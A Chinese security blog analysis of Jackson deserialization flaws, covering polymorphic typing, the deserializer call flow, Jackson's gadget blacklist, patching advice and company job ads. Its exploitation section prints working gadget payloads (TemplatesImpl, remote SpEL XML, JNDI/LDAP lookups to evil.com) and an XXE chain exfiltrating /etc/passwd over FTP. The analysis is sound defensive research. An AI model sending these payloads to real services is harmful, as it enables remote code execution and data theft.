Jackson 安全漏洞分析

admin 2022年4月27日00:37:38评论334 views字数 25713阅读85分42秒阅读模式


No.1

声明


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


此类漏洞在前期数次大型红蓝对抗活动中影响巨大,是很多单位的重要突破口之一,所以我们给出一个完整的分析与防御手段建议。



No.2

介绍


Java的生态圈中有很多处理JSON的类库,比较常见的有fastjson、jackson、gson等,按照使用者的说法Jackson的速度是最快的,我们可以看看正常的Jackson写法。

import com.fasterxml.jackson.core.JsonProcessingException;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class Hello {
   public static void main(String[] args){
       Student stu = new Student();
       stu.name="l1nk3r";
       stu.age=100;
       ObjectMapper mapper = new ObjectMapper();
       try {
           String json=mapper.writeValueAsString(stu);
           System.out.println(json);
           //{"age":100,"name":"l1nk3r"}
           Student stu1 = mapper.readValue(json,Student.class);
           System.out.println(stu1);
           //age=100, name=l1nk3r
       } catch (JsonProcessingException e) {
           e.printStackTrace();
       } catch (IOException e) {
           e.printStackTrace();
       }

   }}class Student{
   public int age;
   public String name;

   @Override
   public String toString() {
       return String.format("age=%d, name=%s", age, name);
   }}

No.3

特殊的机制


首先Jackson有一种特殊的机制 — JacksonPolymorphicDeserialization,这里可以翻译为Jackson的多态类型绑定。从文档中可以看到两种情况,一种是 Global default typing(全局的DefaultTyping),另一种是 @JsonTypeInfo 注解两种方式。


01

DefaultTyping




从上面那份文档来看,在这个方式里面一种有4个值。

JAVA_LANG_OBJECT: only affects properties of type Object.class

OBJECT_AND_NON_CONCRETE: affects Object.class and all non-concrete types (abstract classes, interfaces)

NON_CONCRETE_AND_ARRAYS: same as above, and all array types of the same (direct elements are non-concrete types or Object.class)

NON_FINAL: affects all types that are not declared 'final', and array types of non-final element types.

当然在代码里面也是一样的。

Jackson 安全漏洞分析

下面其实可以分别看看这四个值的作用是什么。


(1)JAVA_LANG_OBJECT

JAVA_LANG_OBJECT :当类里的属性声明为一个Object时,会对该属性进行序列化和反序列化,并且明确规定类名。(当然,这个Object本身也得是一个可被序列化/反序列化的类)。

例如下面的代码,我们给 People 里添加一个 Object object 。

package com.l1nk3r.jackson;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class JavaLangObject {
   public static void main(String args[]) throws IOException {
       People p = new People();
       p.age = 10;
       p.name = "com.l1nk3r.jackson.l1nk3r";
       p.object = new l1nk3r();
       ObjectMapper mapper = new ObjectMapper();
       mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
       String json = mapper.writeValueAsString(p);
       System.out.println(json);//{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["com.l1nk3r.jackson.l1nk3r",{"length":100}]}
       People p2 = mapper.readValue(json, People.class);
       System.out.println(p2);//age=10, name=com.l1nk3r.jackson.l1nk3r, com.l1nk3r.jackson.l1nk3r@4566e5bd
   }}class People {
   public int age;
   public String name;
   public Object object;

   @Override
   public String toString() {
       return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
   }}class l1nk3r {
   public int length = 100;}

所以按照上面的描述那么输出的序列化json信息中应该携带了相关的类的信息,而在反序列化的时候自然会进行还原。

(2)OBJECT_AND_NON_CONCRETE

OBJECT_AND_NON_CONCRETE :除了上文 提到的特征,当类里有 Interface 、 AbstractClass 时,对其进行序列化和反序列化。(当然,这些类本身需要是合法的、可以被序列化/反序列化的对象)。

例如下面的代码,这次我们添加名为 Sex 的 interface ,发现它被正确序列化、反序列化了,就是这个选项控制的。

package com.l1nk3r.jackson;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class JavaLangObject {
   public static void main(String args[]) throws IOException {
       People p = new People();
       p.age = 10;
       p.name = "com.l1nk3r.jackson.l1nk3r";
       p.object = new l1nk3r();
       p.sex=new MySex();
       ObjectMapper mapper = new ObjectMapper();
       mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
       String json = mapper.writeValueAsString(p);
       System.out.println(json);//{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["com.l1nk3r.jackson.l1nk3r",{"length":100}],"sex":["com.l1nk3r.jackson.MySex",{"sex":0}]}      
       People p2 = mapper.readValue(json, People.class);
       System.out.println(p2);//age=10, name=com.l1nk3r.jackson.l1nk3r, com.l1nk3r.jackson.l1nk3r@ff5b51f
   }}class People {
   public int age;
   public String name;
   public Object object;
   public Sex sex;

   @Override
   public String toString() {
       return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
   }}class l1nk3r {
   public int length = 100;}class MySex implements Sex {
   int sex;

   @Override
   public int getSex() {
       return sex;
   }

   @Override
   public void setSex(int sex) {
       this.sex = sex;
   }}interface Sex {
   public void setSex(int sex);
   public int getSex();}

默认的、无参的 enableDefaultTyping 是 OBJECT_AND_NON_CONCRETE 。

(3)NON_CONCRETE_AND_ARRAYS

NON_CONCRETE_AND_ARRAYS :除了上文提到的特征,还支持上文全部类型的Array类型。

例如下面的代码,我们的Object里存放l1nk3r的数组。

package com.l1nk3r.jackson;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class JavaLangObject {
   public static void main(String args[]) throws IOException {
       People p = new People();
       p.age = 10;
       p.name = "com.l1nk3r.jackson.l1nk3r";
       l1nk3r[] l1nk3rs= new l1nk3r[2];
       l1nk3rs[0]=new l1nk3r();
       l1nk3rs[1]=new l1nk3r();
       p.object = l1nk3rs;
       p.sex=new MySex();
       ObjectMapper mapper = new ObjectMapper();
       mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
       String json = mapper.writeValueAsString(p);
       System.out.println(json);//{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["[Lcom.l1nk3r.jackson.l1nk3r;",[{"length":100},{"length":100}]],"sex":["com.l1nk3r.jackson.MySex",{"sex":0}]}
       People p2 = mapper.readValue(json, People.class);
       System.out.println(p2);//age=10, name=com.l1nk3r.jackson.l1nk3r, [Lcom.l1nk3r.jackson.l1nk3r;@1e127982
   }}class People {
   public int age;
   public String name;
   public Object object;
   public Sex sex;

   @Override
   public String toString() {
       return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
   }}class l1nk3r {
   public int length = 100;}class MySex implements Sex {
   int sex;

   @Override
   public int getSex() {
       return sex;
   }

   @Override
   public void setSex(int sex) {
       this.sex = sex;
   }}interface Sex {
   public void setSex(int sex);

   public int getSex();}

(4)NON_FINAL

NON_FINAL :包括上文提到的所有特征,而且包含即将被序列化的类里的全部、非final的属性,也就是相当于整个类、除final外的的属性信息都需要被序列化和反序列化。

例如下面的代码,添加了类型为l1nk3r的变量,非Object也非虚,但也可以被序列化出来。

package com.l1nk3r.jackson;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class JavaLangObject {
   public static void main(String args[]) throws IOException {
       People p = new People();
       p.age = 10;
       p.name = "l1nk3r";
       p.object = new l1nk3r();
       p.sex=new MySex();
       p.l1nk3r=new l1nk3r();
       ObjectMapper mapper = new ObjectMapper();
       mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
       String json = mapper.writeValueAsString(p);
       System.out.println(json);//["com.l1nk3r.jackson.People",{"age":10,"name":"l1nk3r","object":["com.l1nk3r.jackson.l1nk3r",{"length":100}],"sex":["com.l1nk3r.jackson.MySex",{"sex":0}],"l1nk3r":["com.l1nk3r.jackson.l1nk3r",{"length":100}]}]
       People p2 = mapper.readValue(json, People.class);
       System.out.println(p2);//age=10, name=l1nk3r, com.l1nk3r.jackson.l1nk3r@ff5b51f
   }}class People {
   public int age;
   public String name;
   public Object object;
   public Sex sex;
   public l1nk3r l1nk3r;

   @Override
   public String toString() {
       return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object,     sex == null ? "null" : sex,
               l1nk3r == null ? "null" : l1nk3r);
   }}class l1nk3r {
   public int length = 100;}class MySex implements Sex {
   int sex;

   @Override
   public int getSex() {
       return sex;
   }

   @Override
   public void setSex(int sex) {
       this.sex = sex;
   }}interface Sex {
   public void setSex(int sex);

   public int getSex();}


02

@JsonTypeInfo注解




@JsonTypeInfo 也是jackson多态类型绑定的一种方式,它一共支持下面5种类型的取值。

@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)@JsonTypeInfo(use = JsonTypeInfo.Id.COSTOM)

下面使用一段测试代码可以看看这五个类型的分别作用。

package com.l1nk3r.jackson;import com.fasterxml.jackson.annotation.JsonTypeInfo;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class Jsontypeinfo {
   public static void main(String[] args) throws IOException {
       ObjectMapper mapper= new ObjectMapper();
       User user = new User();
       user.name= "l1nk3r";
       user.age=100;
       user.obj=new Height();
       String json = mapper.writeValueAsString(user);
       System.out.println(json);
   }}class User{
   public String name;
   public int age;
   @JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
   public Object obj;

   public String toString(){
       return "name:" + name + " age:" + age + " obj:" + obj;
   }}class Height{
   public int h = 100;}

(1)Id.NONE

这种方式的输出结果实际上是我们最想要的,这里只需要相关参数的值,并没有其他一些无用信息。

{"name":"l1nk3r","age":100,"obj":{"h":100}}

(2)Id.CLASS

这种方式的输出结果中携带了相关java类,也就是说反序列化的时候如果使用了JsonTypeInfo.Id.CLASS修饰的话,可以通过 @class 方式指定相关类,并进行相关调用。

{"name":"l1nk3r","age":100,"obj":{"@class":"com.l1nk3r.jackson.Height","h":100}}

(3)Id.MINIMAL_CLASS

这种方式的输出结果也携带了相关类,和 id.CLASS 的区别在 @class 变成了 @c ,从官方文档中描述中这个应该是一个更短的类名字。同样也就是说反序列化的时候如果使用了JsonTypeInfo.Id.MINIMAL_CLASS修饰的话,可以通过 @c 方式指定相关类,并进行相关调用。

{"name":"l1nk3r","age":100,"obj":{"@c":"com.l1nk3r.jackson.Height","h":100}}

(4)Id.NAME

这种输出方式没有携带类名字,在反序列化时也是不可以利用的。

{"name":"l1nk3r","age":100,"obj":{"@type":"Height","h":100}}

(5)Id.COSTOM

这个无法直接用,需要手写一个解析器才可以配合使用,所以直接回抛出异常。


03

小结



所以按照上述分析,3种情况下可以触发Jackson反序列化漏洞

1、enableDefaultTyping()

2、@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)

3、@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)



No.4

解析流程


01

DefaultTyping




测试代码

package com.l1nk3r.jackson;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class JavaLangObject {
   public static void main(String args[]) throws IOException {
       ObjectMapper mapper = new ObjectMapper();
       mapper.enableDefaultTyping();
       String json="{"age":10,"name":"l1nk3r","sex":["com.l1nk3r.jackson.MySex",{"sex":100}]}";
       People p2 = mapper.readValue(json, People.class);
       System.out.println(p2);
   }}class People {
   public int age;
   public String name;
   public Sex sex;

   @Override
   public String toString() {
       return String.format("age=%d, name=%s, sex=%d", age, name,sex.getSex());
   }}class MySex implements Sex {
   int sex;

   @Override
   public int getSex() {
       return sex;
   }

   @Override
   public void setSex(int sex) {
       this.sex = sex;
   }}interface Sex {
   public void setSex(int sex);
   public int getSex();}

这里先选择在 MySex 构造函数上下个断点,因为在payload有这么一个类com.l1nk3r.jackson.MySex的调用,下面是调用栈。

<init>:35, MySex (com.l1nk3r.jackson)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
call:119, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createUsingDefault:270, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
vanillaDeserialize:277, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:116, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromObject:61, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:254, AbstractDeserializer (com.fasterxml.jackson.databind.deser)
deserializeAndSet:145, FieldProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:288, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_readMapAndClose:4013, ObjectMapper (com.fasterxml.jackson.databind)
readValue:3004, ObjectMapper (com.fasterxml.jackson.databind)
main:20, JavaLangObject (com.l1nk3r.jackson)

这里首先研究一下,它是如何找到我们调用的类:com.l1nk3r.jackson.MySex,前面几个没什么好看的,我选择在com.fasterxml.jackson.databind.deser.BeanDeserializer#deserialize这里下断点:

public Object deserialize(JsonParser p, DeserializationContext ctxt) throws IOException
   {
       // common case first
       if (p.isExpectedStartObjectToken()) {
           if (_vanillaProcessing) {
               return vanillaDeserialize(p, ctxt, p.nextToken());
           }

进入到 AsArrayTypeDeserializer#_deserialize ,我关注到下面这个代码,这个代码根据typeId寻找反序列化。

Jackson 安全漏洞分析

_findDeserializer 方法,在最后返回之前使用put处理typeId和deser。最后return deser中的相关对象。

Jackson 安全漏洞分析

然后又回到了 AsArrayTypeDeserializer#_deserialize 中,继续调用 BeanDeserializer#deserialize 来进行处理,这里 _vanillaProcessing=true ,所以这里调用 BeanDeserializer#vanillaDeserialize 。

Jackson 安全漏洞分析

而在 BeanDeserializer#vanillaDeserialize 里面又开始调用 StdValueInstantiator#createUsingDefault 寻找类。

Jackson 安全漏洞分析

并使用 AnnotatedConstructor#call 通过反射来处理这个找到的类。

public final Object call() throws Exception {
       return _constructor.newInstance();
   }

而在setter上下断点之后主要是在 MethodProperty#deserializeAndSet ,通过反射调用相关setter方法。

Jackson 安全漏洞分析

所以解析过程应该是如下图所示:

Jackson 安全漏洞分析

其中 BeanDeserializerBase#vanillaDeserialize 中有两个关键点:

1、StdValueInstantiator#createUsingDefault 方法负责调用 AnnotatedConstructor#call 中call方法,然后通过反射方式来寻找我们从json中输入的类。

2、MethodProperty#deserializeAndSet 方法负责寻找相关setter设置,这里也是通过invoke反射的方式。


02

JsonTypeInfo




package com.l1nk3r.jackson;import com.fasterxml.jackson.annotation.JsonTypeInfo;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class JavaLangObject {
   public static void main(String args[]) throws IOException {
       ObjectMapper mapper = new ObjectMapper();
       String json="{"sex":{"@class":"com.l1nk3r.jackson.MySex","sex":20}}";
       People p2 = mapper.readValue(json, People.class);
       System.out.println(p2);
   }}class People {
   public int age;
   public String name;
   @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
   public Sex sex;

   @Override
   public String toString() {
       return String.format("age=%d, name=%s, sex=%d", age, name,sex.getSex());
   }}class MySex implements Sex {
   int sex;
   @Override
   public int getSex() {
       return sex;
   }

   @Override
   public void setSex(int sex) {
       this.sex = sex;
   }}interface Sex {
   public void setSex(int sex);
   public int getSex();}

在 class MySex 下断点,发现调用栈和使用 DefaultTyping 的时候是一致。

<init>:37, MySex (com.l1nk3r.jackson)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
call:119, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createUsingDefault:270, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
vanillaDeserialize:277, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserializeOther:189, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:161, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserializeTypedForId:130, AsPropertyTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromObject:97, AsPropertyTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:254, AbstractDeserializer (com.fasterxml.jackson.databind.deser)
deserializeAndSet:145, FieldProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:288, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_readMapAndClose:4013, ObjectMapper (com.fasterxml.jackson.databind)
readValue:3004, ObjectMapper (com.fasterxml.jackson.databind)
main:21, JavaLangObject (com.l1nk3r.jackson)

所以这里反面也验证了,enableDefaultTyping和@JsonTypeInfo这两种情况都有可能触发Jackson反序列化漏洞。



No.5

利用方式


01

TemplatesImpl




payload

final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
       String evilCode = readClass("Calc.class");
       final String JSON = aposToQuotes(
               "{"
                       + " 'obj':[ '" + NASTY_CLASS + "',n"
                       + "  {n"
                       + "    'transletBytecodes' : [ '" + evilCode + "' ],n"
                       + "    'transletName' : 'a.b',n"
                       + "    'outputProperties' : { }n"
                       + "  }n"
                       + " ]n"
                       + "}"
       );

分析

最早出现的Jackson漏洞利用方式应该是这个,按照上面的逻辑跟进分析整个过程 createUsingDefault 通过反射的方式寻找我们的输入的利用类。

Jackson 安全漏洞分析

然后 deserializeAndSet ,调用相关setter方法设置相关值。但是这个方法在这里使用有一点点不太一样。首先在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中是没有找到 setOutputProperties 。但是却找到了这个方法其getter方法 getOutputProperties ,所以这里的 deserializeAndSet 是 SetterlessProperty 这个类中的方法,而这个方法实际是寻找相关getter。

public final void deserializeAndSet(JsonParser p, DeserializationContext ctxt, Object instance) throws IOException {
       JsonToken t = p.getCurrentToken();
       if (t != JsonToken.VALUE_NULL) {
           if (this._valueTypeDeserializer != null) {
               ctxt.reportMappingException("Problem deserializing 'setterless' property ("%s"): no way to handle typed deser with setterless yet", new Object[]{this.getName()});
           }

           Object toModify;
           try {
               toModify = this._getter.invoke(instance);
           } catch (Exception var7) {
               this._throwAsIOE(p, var7);
               return;
           }

           if (toModify == null) {
               throw JsonMappingException.from(p, "Problem deserializing 'setterless' property '" + this.getName() + "': get method returned null");
           } else {
               this._valueDeserializer.deserialize(p, ctxt, toModify);
           }
       }
   }

这里和 fastjson 做个对比,Fastjson中使用parseObject()的过程最后会Json.tojson(),调用属性的getter方法,但是在Jackson的反序列化过程中不会默认调用getter方法,那么接下来的调用方法就很简单了。

Jackson 安全漏洞分析

下图是 defineTransletClasses 在 左边jdk1.7.0_25 和 右边jdk1.8.0_181 ,实际测试来看没办法在 jdk1.8.0_181 上运行。

Jackson 安全漏洞分析

由于我们的payload是没有携带 _tfactory 字段。

         "{"
                       + " 'obj':[ '" + NASTY_CLASS + "',n"
                       + "  {n"
                       + "    'transletBytecodes' : [ '" + evilCode + "' ],n"
                       + "    'transletName' : 'a.b',n"
                       + "    'outputProperties' : { }n"
                       + "  }n"
                       + " ]n"
                       + "}"

我们将 _tfactory 字段补齐,发现还是不行,原因是出在了jackson上,在 BeanPropertyMap 中SettableBeanProperty find 的时候没有获取 _tfactory 的结果。

Jackson 安全漏洞分析

但是这个payload在 1.8.0_40 上是ok的。

Jackson 安全漏洞分析

深入看 1.8.0_40 的 defineTransletClasses 是还是和 jdk1.7.0_25 的一样,所以也就是说该利用方式具体影响jdk1.8以上哪些版本需要详细测试一下。

Jackson 安全漏洞分析


02

FileSystemXmlApplicationContext




payload

["org.springframework.context.support.FileSystemXmlApplicationContext", "https://raw.githubusercontent.com/irsl/jackson-rce-via-spel/master/spel.xml"]

分析

首先这个漏洞利用方式和之前的常见调用栈不太一样,主要是下面这个几个,不太一样的本质在于这个利用类没有相应的getter、setter方法。

call1:129, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createFromString:318, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
deserializeFromString:1283, BeanDeserializerBase (com.fasterxml.jackson.databind.deser)
_deserializeOther:159, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:150, BeanDeserializer (com.fasterxml.jackson.databind.deser)

在这个地方下一个断点

org/springframework/context/support/FileSystemXmlApplicationContext.class

Jackson 安全漏洞分析

通过idea可以通过 diagrams 的 Show Diagram Popup 查看类与接口之间的继承关系。

Jackson 安全漏洞分析

在 beanFactory 中有 getBean 的构造方法

Jackson 安全漏洞分析

而实际 getBean 的构造方法是在 AbstractBeanFactory 类中调用。

Jackson 安全漏洞分析

我们试着在 AbstractBeanFactory 类中的 getBean 方法下个断点也就是说程序通过一系列的json反序列化,以及反射机制进入到了 getBean 方法,并且获取到了这个 name 为pb的方法。

Jackson 安全漏洞分析

在org.springframework.beans.factory.support.BeanDefinitionValueResolver#resolveValueIfNecessary这里下断点,我看到经过 evaluate 处理之后 valueObject 等于我们要执行的 calc.exe 。

Jackson 安全漏洞分析

这里看一下 evaluate 方法的实现。

Jackson 安全漏洞分析

然后会继续解析 #{ pb.start() } ,对 #{ pb.start() } 进行spel操作。

Jackson 安全漏洞分析

当解析完 pb.start 操作后就会命令执行。

Jackson 安全漏洞分析


03

 MiniAdmin




payload

"["com.mysql.cj.jdbc.admin.MiniAdmin", "jdbc:mysql://X.X.X.X:3306/db"]";

分析

首先这个漏洞利用方式和之前的常见调用栈不太一样,主要是下面这个几个,不太一样的本质在于这个利用类没有相应的getter、setter方法。

call1:129, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createFromString:318, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
deserializeFromString:1283, BeanDeserializerBase (com.fasterxml.jackson.databind.deser)
_deserializeOther:159, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:150, BeanDeserializer (com.fasterxml.jackson.databind.deser)

这个漏洞利用的是mysql的一个特性,mysql的load data local允许将本地文件中的数据插入到相关数据库的表中,而在mysql的驱动中,默认的值是true,允许读取本地文件,直到 8.0.15  版本之后在做了修改。

Jackson 安全漏洞分析

04

Other




由于payload太多了,这里简单总结一下其他的,不做一一具体分析了,当然还有更多,大家也可以看看这个项目。

["org.springframework.context.support.GenericGroovyApplicationContext", " ""http://127.0.0.1:8000/spel.xml"]

"["com.mchange.v2.c3p0.JndiRefForwardingDataSource",{"jndiName":"rmi://localhost:1099/Exploit","loginTimeout":0}]"

["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}]

"['org.apache.openjpa.ee.RegistryManagedRuntime', "
+"{'registryName':'ldap://127.0.0.1:1389/Test1', 'rollbackOnly': null}]"

"['org.apache.openjpa.ee.JNDIManagedRuntime',"
+"{'transactionManagerName':'ldap://evil.com:1389/Test1', 'rollbackOnly': null}]";

"['org.apache.axis2.transport.jms.JMSOutTransportInfo', 'jms:/ldap://evil.com:1389/Test1']";

XXE:

//payload
"["org.jdom2.transform.XSLTransformer","http://aliyun.nudtcat.org:84/ftp5.xml"]"

//XXE<?xml version="1.0"?><!DOCTYPE cdl [<!ENTITY % asd SYSTEM "http://aliyun.nudtcat.org:84/dtd.php">%asd;%c;]><cdl>&rrr;</cdl>//DTD
<?php
echo '<!ENTITY % d SYSTEM "file:///etc/passwd"> <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://aliyun.nudtcat.org:2121/%d;'>">';


No.6

黑名单


这是截止到目前的黑名单,当然这种黑名单机制的黑名单只能更多不可能更少。

    Set<String> s = new HashSet<String>();
       // Courtesy of [https://github.com/kantega/notsoserial]:
       // (and wrt [databind#1599])
       s.add("org.apache.commons.collections.functors.InvokerTransformer");
       s.add("org.apache.commons.collections.functors.InstantiateTransformer");
       s.add("org.apache.commons.collections4.functors.InvokerTransformer");
       s.add("org.apache.commons.collections4.functors.InstantiateTransformer");
       s.add("org.codehaus.groovy.runtime.ConvertedClosure");
       s.add("org.codehaus.groovy.runtime.MethodClosure");
       s.add("org.springframework.beans.factory.ObjectFactory");
       s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
       s.add("org.apache.xalan.xsltc.trax.TemplatesImpl");
       // [databind#1680]: may or may not be problem, take no chance
       s.add("com.sun.rowset.JdbcRowSetImpl");
       // [databind#1737]; JDK provided
       s.add("java.util.logging.FileHandler");
       s.add("java.rmi.server.UnicastRemoteObject");
       // [databind#1737]; 3rd party//s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855]
       s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean");// s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); // deprecated by [databind#1931]// s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"); // - "" -
       // [databind#1855]: more 3rd party
       s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource");
       s.add("com.sun.org.apache.bcel.internal.util.ClassLoader");
       // [databind#1899]: more 3rd party
       s.add("org.hibernate.jmx.StatisticsService");
       s.add("org.apache.ibatis.datasource.jndi.JndiDataSourceFactory");
       // [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entities
       s.add("org.apache.ibatis.parsing.XPathParser");

       // [databind#2052]: Jodd-db, with jndi/ldap lookup
       s.add("jodd.db.connection.DataSourceConnectionProvider");

       // [databind#2058]: Oracle JDBC driver, with jndi/ldap lookup
       s.add("oracle.jdbc.connector.OracleManagedConnectionFactory");
       s.add("oracle.jdbc.rowset.OracleJDBCRowSet");

       // [databind#2097]: some 3rd party, one JDK-bundled
       s.add("org.slf4j.ext.EventData");
       s.add("flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor");
       s.add("com.sun.deploy.security.ruleset.DRSHelper");
       s.add("org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl");

       // [databind#2186]: yet more 3rd party gadgets
       s.add("org.jboss.util.propertyeditor.DocumentEditor");
       s.add("org.apache.openjpa.ee.RegistryManagedRuntime");
       s.add("org.apache.openjpa.ee.JNDIManagedRuntime");
       s.add("org.apache.axis2.transport.jms.JMSOutTransportInfo");

       // [databind#2326] (2.9.9)
       s.add("com.mysql.cj.jdbc.admin.MiniAdmin");

       // [databind#2334]: logback-core (2.9.9.1)
       s.add("ch.qos.logback.core.db.DriverManagerConnectionSource");

       // [databind#2341]: jdom/jdom2 (2.9.9.1)
       s.add("org.jdom.transform.XSLTransformer");
       s.add("org.jdom2.transform.XSLTransformer");

       // [databind#2387]: EHCache
       s.add("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup");

       // [databind#2389]: logback/jndi
       s.add("ch.qos.logback.core.db.JNDIConnectionSource");


No.7

防御方案建议


1、将json类库升级至最新版。

2、采用第三方防护产品(waf、云waf等)在应用层进行防护。



No.8

后话


jackson漏洞的利用方式在fastjson上大部分都能兼容,如果使用jackson且防止反序列化漏洞的话,一方面可能需要升级最新jackson的组件版本,另一方面尽量避免使用Object对象作为Jackson反序列化的目标。

当然也可以考虑一下Jackson-dababind(3.x)将使用新的API,该API layer可以提供一种基于白名单的序列化方式来处理多态类(polymorph classes),以此解决该系列漏洞。


No.9

招聘启事


雷神众测SRC运营(实习生)
————————

工作地点:杭州(总部)、广州、成都、上海、北京

【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。



雷神众测白帽运营(实习生)

————————

工作地点:杭州(总部)、广州、成都、上海、北京

【岗位职责】

1.准确了解白帽子爱好,发掘白帽子需求

2.负责各类周边、礼物的挑选与采购

3.对黑客文化有深刻认知

4.维护白帽关系


【任职要求】

1.具有良好的审美眼光

2.具备定制礼品礼物经验

3.较强的沟通以及协调能力

4.为人正直,具备良好的职业道德,能吃苦耐劳,具有良好的团队合作精神


【加分项】

1、具备美术功底、懂得设计美化等

2、有互联网运营经验



简历投递至 [email protected]

设计师

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽


简历投递至 [email protected]

安全招聘
————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:安服战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京
工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
